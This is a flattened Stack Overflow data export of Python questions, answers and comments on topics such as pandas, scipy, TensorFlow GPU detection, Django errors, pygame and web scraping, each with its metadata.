has body: I have an input like this: {"id": 123, "class": t1, "format": f1, "class-2": t1, ...} {"id": 456, "class": t2, "format": f1, ...} {"id": 567, "class": t1, "format": f2, "class-2": t2, "class-3": t1, ...} ... I want an output like this: 123 = t1 456 = t2 567 = t1 ... (567 classification compares how many times t1 appears against t2) I am trying re.search but without success. It is a huge text file and I have put everything in the same line but I can not count correctly each class appearance between every id to compare.
tagged with: string

http://stackoverflow.com/comment/81047213
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/47040011
has text: I solved it, thanks to https://stackoverflow.com/questions/45287530/join-two-json-in-google-cloud-platform-with-dataflow/45290372#45290372 Just use a simple beam.Map to rewrite to ID1: (ID2, score1, score2) , join, then beam.Map again to get back to (ID1, ID2): (score1, score2, status)

http://stackoverflow.com/comment/80870796
type: AnswerComment
score: 0
has text: @alwaysaskingquestions `.sort_values(data_all.columns.tolist())` sorts hierarchically. First sorts all codes, then in each code group sorts all tickets, then in each ticket group sorts all CB dates, and then in each CB date group sorts all audits. Notice the argument that I pass to the function - the list of all column names.
type: Comment
comment on: http://stackoverflow.com/a/46961618

http://stackoverflow.com/comment/80781554
score: 0
type: QuestionComment
has text: Similar: https://stackoverflow.com/questions/44664491/find-maximum-possible-time-hhmm-by-permuting-four-given-digits/
comment on: http://stackoverflow.com/q/46915430
type: Comment

http://stackoverflow.com/comment/80784522
type: AnswerComment
has text: import itertools ini=[1,25,36,7,5,6,7,8,9] count=0 c=itertools.count(0) init= [[ini[next(c)]for i in range(2)]for j in range(2)] print(init)
comment on: http://stackoverflow.com/a/46918361
type: Comment
score: 0

http://stackoverflow.com/comment/81066581
type: QuestionComment
comment on: http://stackoverflow.com/q/47059561
has text: Can you edit your code to make proper indentation? Not sure about what is in the function and what is not.
score: 1
type: Comment

http://stackoverflow.com/comment/80879414
type: Comment
score: 0
type: QuestionComment
has text: @StefanPochmann Because every digit appears in every position 6 times.
comment on: http://stackoverflow.com/q/46965577

http://stackoverflow.com/comment/80935646
score: 0
comment on: http://stackoverflow.com/q/46988763
type: Comment
type: QuestionComment
has text: What Python version do you have installed in your PC?

http://stackoverflow.com/a/56748683
has body: Actually tensorflow cannot find the CUDA GPU in your situation. Refer to the output device list there: Operation was explicitly assigned to /device:GPU:0 but available devices are [ /job:localhost/replica:0/task:0/cpu:0 ] This means no GPU is found. You can referring to codes here from How to get current available GPUs in tensorflow?, to list GPU (which tensorflow actually can find). from tensorflow.python.client import device_lib def get_available_gpus(): local_device_protos = device_lib.list_local_devices() return [x.name for x in local_device_protos if x.device_type == 'GPU'] You must make sure actually found gpu/s is returned, thus tensorflow can use the gpu device. There are many possibilities that gpu cannot be found, including but not limited, CUDA installation/settings, tensorflow versions and GPU model especially the GPU compute capability. Must checkout the tensorflow version support for a certain GPU model, and must checkout the GPU capability (for NVidia GPUs).
answers question: http://stackoverflow.com/q/47040860
type: Answer
score: 2
upvote count: 2
downvote count: 0

http://stackoverflow.com/comment/80909083
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/46980587
has text: Let us know the required output

http://stackoverflow.com/a/47068661
has body: The delay was caused by a failing reverse DNS lookup for the hostname. host flaskserver correctly returned the IP, but host &lt;ip-of-flaskserver&gt; returned a Host &lt;ip-of-flaskserver&gt;.in-addr.arpa not found: 2(SERVFAIL). As described at https://web.mit.edu/kerberos/krb5-1.13/doc/admin/princ_dns.html, disabling the reverse DNS lookup in the krb5.conf solved the problem: [libdefaults] rdns = false
answers question: http://stackoverflow.com/q/46930746
score: 3
type: Answer
upvote count: 3
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/46930746

http://stackoverflow.com/q/46940556
downvote count: 0
answer count: 1
tagged with: python
has title: Using Scipy Multiple integration with a single variable
favorite count: 0
has comment: http://stackoverflow.com/comment/80830985
score: 3
has answer: http://stackoverflow.com/a/46940965
has body: I have a function for acceleration a(t) which I know if I integrate twice with respect to t, I can find position x(t). I am trying to find position at t = 10 seconds. Since a(t) is not multivariable I am having trouble using the Scipy dblquad function to calculate the double integral I need. Please see what I have so far: def a(t): return (2.5 / (1 + math.exp((t-8)/0.8))) def upperbound(): return 10 def lowerbound(): return 0 x = dblquad(a,0,10,lowerbound,upperbound) This does not work as from what I can gather dblquad needs a multivariabled a(t). Can anyone help?
has comment: http://stackoverflow.com/comment/80828466
has comment: http://stackoverflow.com/comment/80828432
tagged with: scipy
type: Question
upvote count: 3
type: UnansweredQuestion

http://stackoverflow.com/a/46917151
accepted answer of: http://stackoverflow.com/q/46916783
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/46916783
score: 0
has body: It appears that there are lines in the csv file that have only one or fewer items on them. You can avoid adding them to the RankList with the simple change shown below. Also note you should open() csv files using the newline='' option in Python 3. def Rank(): #Declare List RankList=[] #Opening and reading the file with open('GolfInfo.txt','rU', newline='') as csvfile: reader=csv.reader(csvfile) for row in reader: #Data added to list if not blank. if row: # ADDED TEST! RankList.append(row) #List is sorted by amount of strokes taken (Total) from lowest to highest RankList.sort() ...
type: Answer

http://stackoverflow.com/comment/137410276
type: Comment
type: AnswerComment
has text: Or, as I said, just have the one class with a parameter to `__init__` to add the extra glyphs.
score: 0
comment on: http://stackoverflow.com/a/77943303

http://stackoverflow.com/q/47024334
tagged with: python-3.x
type: UnansweredQuestion
tagged with: range
tagged with: python
has body: Objective: enter goal string; program loops trying random letters + space until goal word matches generated word. To expedite, when the randomly generated word has a character of some index that matches the goal word, the character is appended to a list and the range start point is now the length of that "correct character" list. However, on the 7th loop of this program there will always be a "string index out of range" error indicated at the first IF statement of the SCORE function. I don't understand how this is possible, because range stop is up-to-not-including and I am using the goal word length as my stop value. Any help is appreciated. Thank you. Jupyter Notebook with Python3 import random attempt_list = [] def main(): goal_strg = 'got it' goal_len = len(goal_strg) rand_strg= '' gen_rand_string(goal_len) score(goal_strg, rand_strg) def gen_rand_string(goal_len): #generates random string to compare alphabet = 'abcdefghijklmnopqrstuvwxyz ' rand_strg = '' for i in range(goal_len): rand_strg = rand_strg + alphabet[random.randrange(27)] print (rand_strg) return rand_strg def score(goal_strg, rand_strg): #compares rand str and goal str and scores x = 0 x += 1 for i in range(len(attempt_list), len(goal_strg)): if i &lt;= 5 and (rand_strg[i] == goal_strg[i]): attempt_list.append(rand.strg[i]) print (attempt_list) print ((len(attempt_list))/(len(goal_strg))) elif x%1000000 == 0: print (x) else: continue
has comment: http://stackoverflow.com/comment/80996581
has comment: http://stackoverflow.com/comment/80999243
tagged with: indexing
has answer: http://stackoverflow.com/a/47024441
score: 0
has comment: http://stackoverflow.com/comment/80995855
answer count: 1
has comment: http://stackoverflow.com/comment/80996011
has title: Don't understand this string index out of range error
type: Question

http://stackoverflow.com/comment/80974015
score: 0
type: Comment
comment on: http://stackoverflow.com/q/47013772
type: QuestionComment
has text: Edit your question because there is Not enough detail. Is your Db2 database local or remote? If it is remote, what operating-system runs the Db2-server product? Are you able to connect to the database without using Python? Which versions of ibm_db module is installed, which Db2-client are you using, which operating-system runs Python etc. Give more details by editing your question .

http://stackoverflow.com/comment/80804288
type: QuestionComment
has text: How many test methods could you have?
comment on: http://stackoverflow.com/q/46928683
type: Comment
score: 0

http://stackoverflow.com/comment/80883636
type: Comment
comment on: http://stackoverflow.com/q/46968007
score: 1
type: QuestionComment
has text: You don't: if you have multiple classes in a single file, they are probably related, and imports are likely to be relevant to all of them.

http://stackoverflow.com/comment/81076610
comment on: http://stackoverflow.com/a/47064036
type: AnswerComment
score: 1
has text: Well, ok, not really all the time. But when I know it's fast enough and am too lazy to type something efficient.
type: Comment

http://stackoverflow.com/comment/80851236
type: QuestionComment
comment on: http://stackoverflow.com/q/46935758
has text: must admit, no. but it doesnt help, the problem remains: I cannot load the custom user model, as `Models aren't loaded yet' (see added Error)?
score: 0
type: Comment

http://stackoverflow.com/a/47059044
upvote count: 1
has body: Apparently some links where corrupted so I did brew unlink python &amp;&amp; brew link python and when asked I removed wheel, pip from /usr/local/bin Hope it helps.
answers question: http://stackoverflow.com/q/47058464
type: Answer
score: 1
downvote count: 0

http://stackoverflow.com/comment/81006214
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47029113
has text: Thanks for helping! No; the website is hosted on a server within the organisation; it's on another network, though they're well connected.
score: 1

http://stackoverflow.com/a/46940751
has comment: http://stackoverflow.com/comment/80830014
has body: Short answer: for lists, it does not. If we check the intermediate code after compilation with dis, we see: &gt;&gt;&gt; dis.dis(f) 2 0 LOAD_CONST 1 (1) 3 LOAD_CONST 2 (2) 6 LOAD_CONST 3 (3) 9 LOAD_CONST 4 (4) 12 BUILD_LIST 4 15 STORE_FAST 0 (x) 18 LOAD_CONST 0 (None) 21 RETURN_VALUE So as you can see the program first loads constants 1 to 4 and pushes these on the stack, and the constructs a list with these constants, so that means it constructs a list each time. In case the list is not mutated, I propose to define the constant outside the function: some_constant = [1, 2, 3, 4] def f(): # use some_constant # ... pass
has comment: http://stackoverflow.com/comment/80829920
downvote count: 0
has comment: http://stackoverflow.com/comment/80829651
score: 6
type: Answer
answers question: http://stackoverflow.com/q/46940622
upvote count: 6
has comment: http://stackoverflow.com/comment/80829702

http://stackoverflow.com/comment/80791170
score: 0
type: Comment
has text: It is slower that way. At least on python 2.7
type: AnswerComment
comment on: http://stackoverflow.com/a/46921730

http://stackoverflow.com/comment/80979856
score: 0
has text: A band-aid solution that I did is that I'll `xticks = get_xticks()`, `xticks[-2] = vmax`. It's not as robust but that'll do. I do hope there's other better solutions.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47011985

http://stackoverflow.com/q/47060984
tagged with: machine-learning
upvote count: 1
tagged with: scikit-learn
downvote count: 1
has comment: http://stackoverflow.com/comment/81069847
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81069718
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81069780
has body: I have two data frames: df_train Data types in the dataset: ['uint8', 'int64', 'float64'] Number of features: 233 Shape: (1457, 233) df_test Data types in the dataset: ['uint8', 'int64', 'float64'] Number of features: 216 Shape: (1447, 216) The difference in the number of columns (233 vs 216) is due to the dummy variables I created in them both with pd.get_dummies() - fewer were created in df_test. Prior to that, df_train originally contained just one extra variable "SalePrice" which is the target variable to be predicted on df_test. X = df_train.drop(["SalePrice"], axis=1) y = df_train["SalePrice"] from sklearn.model_selection import train_test_split X_train, X_test, y_train, y_test = train_test_split(X, y) from sklearn.linear_model import Ridge ridge = Ridge().fit(X_train, y_train) This results in a solid test set score and all's well. But when I try to predict on df_test as follows y_pred = ridge.predict(df_test) it gives the following error: ValueError: shapes (1447,216) and (232,) not aligned: 216 (dim 1) != 232 (dim 0) I understand I messed up with the different shapes. Can you help me manage this problem? I have 0 experience in this. Much appreciated.
tagged with: python
linked to: http://stackoverflow.com/q/47061707
tagged with: sklearn-pandas
has comment: http://stackoverflow.com/comment/81086243
score: 0
tagged with: pandas
answer count: 0
has comment: http://stackoverflow.com/comment/81070065
has comment: http://stackoverflow.com/comment/81069672
has title: pandas - non-aligned dataframes

http://stackoverflow.com/q/47051266
has title: Filter only character strings
accepted answer: http://stackoverflow.com/a/47051302
has answer: http://stackoverflow.com/a/47051302
type: AnsweredQuestion
score: 0
tagged with: filter
has body: a = ["az", "1", "afasf7af", "8", "dsgsdgsg"] [k for k in a if k.isalpha()] &gt; ['az', 'dsgsdgsg'] I find it a little neater to pass isalpha as a predicate to filter (clearer intention). However, there doesn't seem to be such a free function. Can this be achieved without introducing a messy lambda? filter(isalpha, a)
answer count: 1
tagged with: string
type: Question
tagged with: python-3.x
tagged with: python

http://stackoverflow.com/a/46988784
upvote count: 4
answers question: http://stackoverflow.com/q/46980635
has body: The outer join will return all columns from both tables.Also,we got to fill null values in qty_users as sum will also return null. Finally, we can select using coalsece function, from pyspark.sql import functions as F newdf = df1.join(df2,(df1.pk==df2.pk2) &amp; (df1.num_pk==df2.num_pk2) &amp; (df1.num_id==df2.num_id2),'outer').fillna(0,subset=["qty_users","qty_users2"]) newdf = newdf.withColumn('total', sum(newdf[col] for col in ["qty_users","qty_users2"])) newdf.select(*[F.coalesce(c1,c2).alias(c1) for c1,c2 in zip(df1.columns,df2.columns)][:-1]+['total']).show() +--------+--------+------+-----+ | pk| num_id|num_pk|total| +--------+--------+------+-----+ |63479840|12556940|298620| 13| |63480030|12557110|298620| 10| |63835520|12627890|299750| 10| |63479800|11156940|298620| 10| +--------+--------+------+-----+ Hope this helps.!
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/80924168
has comment: http://stackoverflow.com/comment/80928492
score: 4
type: Answer
accepted answer of: http://stackoverflow.com/q/46980635

http://stackoverflow.com/comment/80831453
type: Comment
type: AnswerComment
has text: I need to only have a few entries binded with this overwritten version of ctrl+v. With the help of your code I managed to make it work with a tiny issue. It pastes the text twice in the first cell. I think that tkinter does the global binding paste command, and afterwards the specific binding for the entry I made, resulting in my text being pasted twice in the first entry. How can I resolve this issue? I have to somehow unbind the global (or at least overwrite) 'paste' from the specific entries I choose to bind.
score: 0
comment on: http://stackoverflow.com/a/46918983

http://stackoverflow.com/a/47055019
score: 0
answers question: http://stackoverflow.com/q/47052758
type: Answer
has body: Why don't you first split each line of text based on spaces and then the array that comes out from it, you then split each individual coordinate pair based on the semicolons that are common to them then you can now add everything to the country key on the dictionary.

http://stackoverflow.com/q/46919046
has comment: http://stackoverflow.com/comment/80785404
accepted answer: http://stackoverflow.com/a/46919148
type: AnsweredQuestion
upvote count: 0
possible better answer: http://stackoverflow.com/a/46919798
answer count: 2
has title: While with 2 conditions or 1 condition and if check?
downvote count: 1
has answer: http://stackoverflow.com/a/46919148
favorite count: 0
has comment: http://stackoverflow.com/comment/80785681
type: Question
tagged with: performance
tagged with: algorithm
has answer: http://stackoverflow.com/a/46919798
has body: I was making a small program for uni and came to a doubt while designing the algorithm. The program is in Python but I'd be interested on a general non-language-specific solution because I usually practice Java and C++ (though I know every language works slightly different internally) The question is whether to use either of these loops while condition 1 and condition 2 (...) Or use instead while condition 1 (...) if condition 2 quit loop Thanks for your help, all replies are appreciated! [ EDIT ] As all of you have stated, the code is not logically equivalent as I presented it. However, it is on my case scenario. It is good that you pointed it out though because in other cases it will be something to take into account. In this case, however, the value of condition 2 is modified within the while loop on the (...) code block, hence why the only thing that matters is whether in the end of the loop it is true or false. Anyway, thanks for the explanation and those who advised me to use just the clearest one, it's clarified for me now :)
has comment: http://stackoverflow.com/comment/80785463
tagged with: python
score: -1
has comment: http://stackoverflow.com/comment/80790832

twitter
tags question: http://stackoverflow.com/q/46939900
tags question: http://stackoverflow.com/q/46922104
tags question: http://stackoverflow.com/q/46957834
tags question: http://stackoverflow.com/q/47060305
tags question: http://stackoverflow.com/q/46943569
tag name: twitter
tags question: http://stackoverflow.com/q/47050862
tags question: http://stackoverflow.com/q/46933047
tags question: http://stackoverflow.com/q/46919776
type: Tag
tags question: http://stackoverflow.com/q/47033172
tags question: http://stackoverflow.com/q/46998427
tags question: http://stackoverflow.com/q/47005983
tags question: http://stackoverflow.com/q/46926077
tags question: http://stackoverflow.com/q/46964917
tags question: http://stackoverflow.com/q/47018832
tags question: http://stackoverflow.com/q/47016943

http://stackoverflow.com/comment/80817688
type: AnswerComment
has text: hey bro, that really helped, thanks a lot, i did get the answer, in facrt in my code i did write two s3 =boto3.resource(u's3') s3 = boto3.client('s3') this was the error.
score: 0
comment on: http://stackoverflow.com/a/46931998
type: Comment

http://stackoverflow.com/comment/81024324
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47018803
type: Comment
has text: Okay.. Some fixing in my IDE later. (I'm using Spyder3 and for some reason it didn't "run" the rewritten code but some old example, so I kept getting buggy output) Nevertheless I'm now having troubles. I've figured out, I need to use parantheses for **self.cb** as well, so the line is `GPIO.add_event_detect(self.pin, UpDown, callback=self.cb(), bouncetime=btime)` This now throws the Error: TypeError: Parameter must be callable Without the parantheses it works, but doesn't trigger anything.

http://stackoverflow.com/comment/134636240
has text: Sometimes, `source (fullpath)/bin/activate` mentioned by the OP does work if there is an `activate` script in the environment folder. For example, when using [conda-pack](https://conda.github.io/conda-pack/) for environment moving, one can use `source my_env/bin/activate` to activate the environment (see [here](https://conda.github.io/conda-pack/#commandline-usage)). Of course, `conda activate ./my_env` can also be used.
type: Comment
score: 2
comment on: http://stackoverflow.com/a/46934105
type: AnswerComment

http://stackoverflow.com/q/47039874
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81029067
answer count: 2
has comment: http://stackoverflow.com/comment/81026458
has title: Scrape dynamic HTML (YouTube comments)
type: UnansweredQuestion
downvote count: 2
tagged with: web-scraping
tagged with: python-requests
has comment: http://stackoverflow.com/comment/81026374
tagged with: dynamic-html
tagged with: beautifulsoup
has body: With Beautiful Soup and Request Library I am able to scrape HTML content, but not what loads by JavaScript or AJAX calls. How do I mimic this through my Python script? Because YouTube comments load when we scroll the page. I found 2 methods; one using Selenium and another using lxml requests, which I couldn't understand a bit. Example (this is the video): import requests from bs4 import BeautifulSoup as soup url = 'https://www.youtube.com/watch?v=iFPMz36std4' response = requests.get(url) page_html = response.content #print page_html page_soup=soup(page_html,"html.parser") print page_soup
score: 3
has answer: http://stackoverflow.com/a/47042628
upvote count: 5
tagged with: python
has answer: http://stackoverflow.com/a/47052200

http://stackoverflow.com/a/46931825
type: Answer
score: 4
upvote count: 4
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/46931749
has body: You need another parameter for specify day - check this: df = pd.to_datetime(df.yearweek.add('-0'), format='%Y-%W-%w') print (df) 0 2014-12-07 1 2014-12-14 2 2014-12-21 3 2014-12-28 4 2015-01-18 5 2015-01-25 6 2015-02-01 7 2015-02-08 Name: yearweek, dtype: datetime64[ns]
answers question: http://stackoverflow.com/q/46931749

http://stackoverflow.com/comment/81074019
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47043396
type: Comment
has text: @Rooney see bottom of my answer for my edit. Also, if it answered your question, please mark my response as the answer.

http://stackoverflow.com/comment/80998137
score: 1
type: QuestionComment
comment on: http://stackoverflow.com/q/47025499
type: Comment
has text: For your second question, look at the `map` function; it's designed for just this purpose.

gnutls
tags question: http://stackoverflow.com/q/46910035
type: Tag
tag name: gnutls

http://stackoverflow.com/a/47056879
has comment: http://stackoverflow.com/comment/81062617
answers question: http://stackoverflow.com/q/47056476
has body: For your first problem, replace suite = rpy2.robjects.tests.suite() with suite = rpy2.tests.suite(). For your third problem (getting clump to work correctly), you need to create a RasterLayer object in R using the image. I'm not familiar with the raster package, so I can't give you the exact steps. I will point out the arcpy module is not "pythonic". Normally, strings of filenames are just strings in Python. arcpy is weird in using plain strings to represent objects like map layers. In your example, slope_recode is just a string. That's why you got the error unable to find an inherited method for function 'clump' for signature '"character"'. It means slope_recode was passed to R as a character value (which it is), and the clump function expects a RasterLayer object. It doesn't know how to handle character values.
score: 0
type: Answer

http://stackoverflow.com/comment/81064385
has text: Thanks for your help!
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47057564
type: Comment

http://stackoverflow.com/comment/80901270
score: 0
has text: Maybe show us what `print(destinations)` looks like, if it is too big.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/46976675

http://stackoverflow.com/a/47063391
type: Answer
has body: The key part of the traceback is: File "/home/melonendk/webapps/victory_genki_dk/victory/staff/models.py" in teamleaders_listable 22. string = leaders[0].extendeduser.nickname File "/home/melonendk/webapps/victory_genki_dk/lib/python3.6/Django-1.11.6-py3.6.egg/django/db/models/query.py" in __getitem__ 289. return list(qs)[0] Exception Type: IndexError at /teams/ Exception Value: list index out of range This is telling you that leaders[0] is failing because self.members.filter(teammembership__leader=True) is an empty queryset. You could change the code slightly to use ", ".join() instead of looping through the queryset. This will return the empty string '' when the queryset is empty. @property def teamleaders_listable(self): leaders = self.members.filter(teammembership__leader=True) return ", ".join(l.extendeduser.nickname for l in leaders)
answers question: http://stackoverflow.com/q/47063257
has comment: http://stackoverflow.com/comment/81075257
score: 2
upvote count: 2
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/47063257

http://stackoverflow.com/a/46991404
score: 0
type: Answer
answers question: http://stackoverflow.com/q/46991343
has body: You can use **kwargs: def some_function(**kwargs): var1 = kwargs.get('var1') var2 = kwargs.get('var2') var3 = kwargs.get('var3') s = ['var1', 'var2', 'var3'] vals = ["someval1", "someval2", "someval3"] some_function(**{a:b for a, b in zip(s, vals)}) Now, in the function some_function, var1, var2, and var3 store "someval1", "someval2", "someval3"

http://stackoverflow.com/a/46907838
has body: I think you need to_timedelta: df['new'] = df['transaction_date'] + pd.to_timedelta(df['payment_plan_days'], unit='d') Sample: dates=pd.to_datetime(['1970-01-01','2005-07-17', '2005-07-17']) df = pd.DataFrame({'transaction_date':dates, 'payment_plan_days':[30,70,100]}) df['new'] = df['transaction_date'] + pd.to_timedelta(df['payment_plan_days'], unit='d') print (df) payment_plan_days transaction_date new 0 30 1970-01-01 1970-01-31 1 70 2005-07-17 2005-09-25 2 100 2005-07-17 2005-10-25
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/46907811
answers question: http://stackoverflow.com/q/46907811
has comment: http://stackoverflow.com/comment/80762450
upvote count: 8
type: Answer
score: 8

http://stackoverflow.com/comment/80901560
comment on: http://stackoverflow.com/q/46976294
score: 0
type: Comment
type: QuestionComment
has text: @HarryTaylor : Check my answer and see if that addresses your probllem

http://stackoverflow.com/comment/80946986
type: Comment
has text: I don't understand what exactly you are asking but clearly, you are looking for best approach to manage your Django project. For this, I would suggest you to search "django best practices" and if possible read "Two scoops of Django" book
type: AnswerComment
comment on: http://stackoverflow.com/a/46999778
score: 0

http://stackoverflow.com/comment/81142719
type: AnswerComment
has text: Thanks. I configured nginx to use `fullchamin.pem` instead of `cert.pem` and now it works.
score: 0
type: Comment
comment on: http://stackoverflow.com/a/47069087

http://stackoverflow.com/q/46924879
has title: ValueError: too many values to unpack, can't figure out nested loop
has comment: http://stackoverflow.com/comment/80796685
upvote count: 1
has comment: http://stackoverflow.com/comment/80798047
tagged with: valueerror
downvote count: 1
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/46925441
has body: So I'm trying to create a piece of code that will take a green screen image and place it on a background without the green screen and be transparent. I'm doing this for an assignment so I can't use the chroma key or alpha key feature. I'm supposed to use nested loops to count each green pixel and if it's not green, I don't copy it to the background image. Anyway, this is my code. for i in range(0, fy): for j in range(0, fx): (red,green,blue) = fg.get_at( (i,j) ) if green == 255: green = 0 else : fg.set_at( (i,j), (red,0,blue) ) pygame.display.update() fx and fy are declared earlier as the size of the image for the foreground green screen image. I get an error that says: Traceback (most recent call last): File "a6.py", line 60, in &lt;module&gt; (red,green,blue) = fg.get_at( (i,j) ) ValueError: too many values to unpack (expected 3) someone please help me
tagged with: python-3.x
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80797021
tagged with: python
has answer: http://stackoverflow.com/a/46947906
score: 0
answer count: 2
has comment: http://stackoverflow.com/comment/80799302

http://stackoverflow.com/comment/80965503
score: 0
has text: How do you generate your dataframe?
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/47008363

http://stackoverflow.com/comment/80918802
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/46985790
type: Comment
has text: No no no no way... just tell me now why the down vote... imposible.. it does the job perfectly

http://stackoverflow.com/comment/80788756
type: QuestionComment
has text: Sigh. I don't think the referenced question is actually similar enough to this one. :-( `zip()` is the wrong solution here and `map()` isn't necessarily a better solution either.
score: 1
comment on: http://stackoverflow.com/q/46918272
type: Comment

http://stackoverflow.com/a/46942284
score: 5
upvote count: 5
downvote count: 0
answers question: http://stackoverflow.com/q/46941985
type: Answer
has body: Nothing like that comes with Python. You'd need to manually adjust your sleep times to account for time spent working. You could fold that into an iterator, much like the channel of Go's time.Tick: import itertools import time import timeit def tick(interval, initial_wait=False): # time.perf_counter would probably be more appropriate on Python 3 start = timeit.default_timer() if not initial_wait: # yield immediately instead of sleeping yield for i in itertools.count(1): time.sleep(start + i*interval - timeit.default_timer()) yield for _ in tick(300): # Will execute every 5 minutes, accounting for time spent in the loop body. do_stuff() Note that the above ticker starts ticking when you start iterating, rather than when you call tick, which matters if you try to start a ticker and save it for later. Also, it doesn't send the time, and it won't drop ticks if the receiver is slow. You can adjust all that on your own if you want.

http://stackoverflow.com/q/47037425
upvote count: 2
score: 1
answer count: 1
has body: I have aggregated a dataframe like so: x_mined_median = df[(df.Confirmed == True) &amp; (df.Type == "Mined")].groupby(['dat']).median() The (shortened) result is this: Confirmed Amount dat 2017-09-01 True 836.202740 2017-09-03 True 650.958904 2017-09-04 True 150.076712 2017-09-07 True 445.928767 2017-09-08 True 382.439041 2017-09-10 True 401.145205 Is there a way to get the median of the Amount column? (A median of the median?)
accepted answer: http://stackoverflow.com/a/47037469
downvote count: 1
favorite count: 0
type: Question
has title: Median of aggregated data
has comment: http://stackoverflow.com/comment/81021354
tagged with: python
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47037469
tagged with: pandas

http://stackoverflow.com/comment/81002943
has text: //div//input[@class='form-control free-text'] Does this work for you?
type: QuestionComment
comment on: http://stackoverflow.com/q/47027802
score: 1
type: Comment

http://stackoverflow.com/comment/80878364
has text: `Decimal('1000.10') != Decimal(1000.10)`; you've already lost the precision in the creation of the float (which isn't *"2-precision"*, see `format(1000.1, '.40f')`). Be explicit, if that is what you want: `Decimal(format(1000.1, '.2f')) == Decimal('1000.1000')`.
type: QuestionComment
comment on: http://stackoverflow.com/q/46965325
score: 3
type: Comment

http://stackoverflow.com/a/46966386
answers question: http://stackoverflow.com/q/46966375
score: 0
has body: You can try this: s = [['1,3,4,5,2'], ['4,2,5,3,1'], ['1,3,2,5,4'], ['1,2,4,3,5'], ['1,3,4,5,2'], ['2,1,3,5,4'], ['1,3,4,5,2'], ['3,5,2,4,1'], ['1,4,5,2,3'], ['5,1,4,3,2'], ['3,2,5,4,1'], ['3,1,2,5,4'], ['2,5,1,4,3'], ['3,2,1,4,5'], ['4,5,3,1,2'], ['1,5,4,3,2'], ['1,5,3,4,2'], ['2,1,4,3,5'], ['4,1,2,5,3']] final_data = [map(int, i[0].split(",")) for i in s] Output: [[1, 3, 4, 5, 2], [4, 2, 5, 3, 1], [1, 3, 2, 5, 4], [1, 2, 4, 3, 5], [1, 3, 4, 5, 2], [2, 1, 3, 5, 4], [1, 3, 4, 5, 2], [3, 5, 2, 4, 1], [1, 4, 5, 2, 3], [5, 1, 4, 3, 2], [3, 2, 5, 4, 1], [3, 1, 2, 5, 4], [2, 5, 1, 4, 3], [3, 2, 1, 4, 5], [4, 5, 3, 1, 2], [1, 5, 4, 3, 2], [1, 5, 3, 4, 2], [2, 1, 4, 3, 5], [4, 1, 2, 5, 3]]
type: Answer

http://stackoverflow.com/q/47003215
type: Question
has comment: http://stackoverflow.com/comment/80952921
tagged with: interprocess
tagged with: python-3.x
has answer: http://stackoverflow.com/a/47003345
has title: Can I access a list from another running python script
tagged with: python
score: -2
possible better answer: http://stackoverflow.com/a/47003345
type: AnsweredQuestion
answer count: 3
has body: If I have two scripts, one has a list and is currently running and the other one needs to access that list while the first one is running, how would I do that? Example Script 1 import random example_list = [] while True: example_list.append(random.randint(0,9)) Script 2 x = example_list[i] I can not change Script 1. How would I access the list created in Script 1 from Script 2? P.S. This is just an example so it's purpose doesn't matter.
accepted answer: http://stackoverflow.com/a/47003484
downvote count: 3
has comment: http://stackoverflow.com/comment/80952900
has answer: http://stackoverflow.com/a/47003484
upvote count: 1
has comment: http://stackoverflow.com/comment/80953481
favorite count: 0
has answer: http://stackoverflow.com/a/47003377

http://stackoverflow.com/a/46976262
upvote count: 3
score: 3
type: Answer
has comment: http://stackoverflow.com/comment/80900118
downvote count: 0
has body: To be ready for non numeric values you can use a.sort(key = lambda l: int(l[0]) if l[0].isnumeric() else 99999) # or b=sorted(a,key = lambda l: int(l[0]) if l[0].isnumeric() else 99999) to see non-numeric last or a.sort(key = lambda l: int(l[0]) if l[0].isnumeric() else 0) # or b=sorted(a,key = lambda l: int(l[0]) if l[0].isnumeric() else 0) to see them first
answers question: http://stackoverflow.com/q/46975731

http://stackoverflow.com/comment/80942932
score: 0
comment on: http://stackoverflow.com/q/46998113
type: Comment
type: QuestionComment
has text: what's wrong with the layout ? the alignment inside the cells for numbers ?

http://stackoverflow.com/comment/80953573
comment on: http://stackoverflow.com/q/47003552
has text: Just to clarify this program is with python 3.x
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/comment/80821300
comment on: http://stackoverflow.com/q/46936957
score: 0
has text: Are you doing anything else with the read data?
type: Comment
type: QuestionComment

http://stackoverflow.com/a/46927349
has comment: http://stackoverflow.com/comment/80978908
type: Answer
upvote count: 1
answers question: http://stackoverflow.com/q/46927183
score: 1
has comment: http://stackoverflow.com/comment/80801882
downvote count: 0
has comment: http://stackoverflow.com/comment/80801837
has body: I don't know if you will prefer any other solution, but making such a matrix of formulae isn't a good thing, I would say. I think you should create a dictionary of contries as key and their value being the continents. So, whenever the totalCostCalc function is called, you need to just check three conditions. def totalCostCalc(init_cost, origin_country, origin_country_fee, destination_country, destination_country_fee) if (origin_country == destination_country): return init_cost elif (d[origin_country] == d[destination_country]): return init_cost*origin_country_fee*destination_country_fee else: return init_cost*origin_country_fee*destination_country_fee*continent_fee where d is the dictionary defined as d = {'Germany': 'Europe', 'Hungary': 'Europe', 'China': 'Asia'}.
has comment: http://stackoverflow.com/comment/80801951
has comment: http://stackoverflow.com/comment/80801920

http://stackoverflow.com/comment/81068027
score: 0
type: Comment
comment on: http://stackoverflow.com/a/47054041
type: AnswerComment
has text: @KaissB yes you should. No problem.

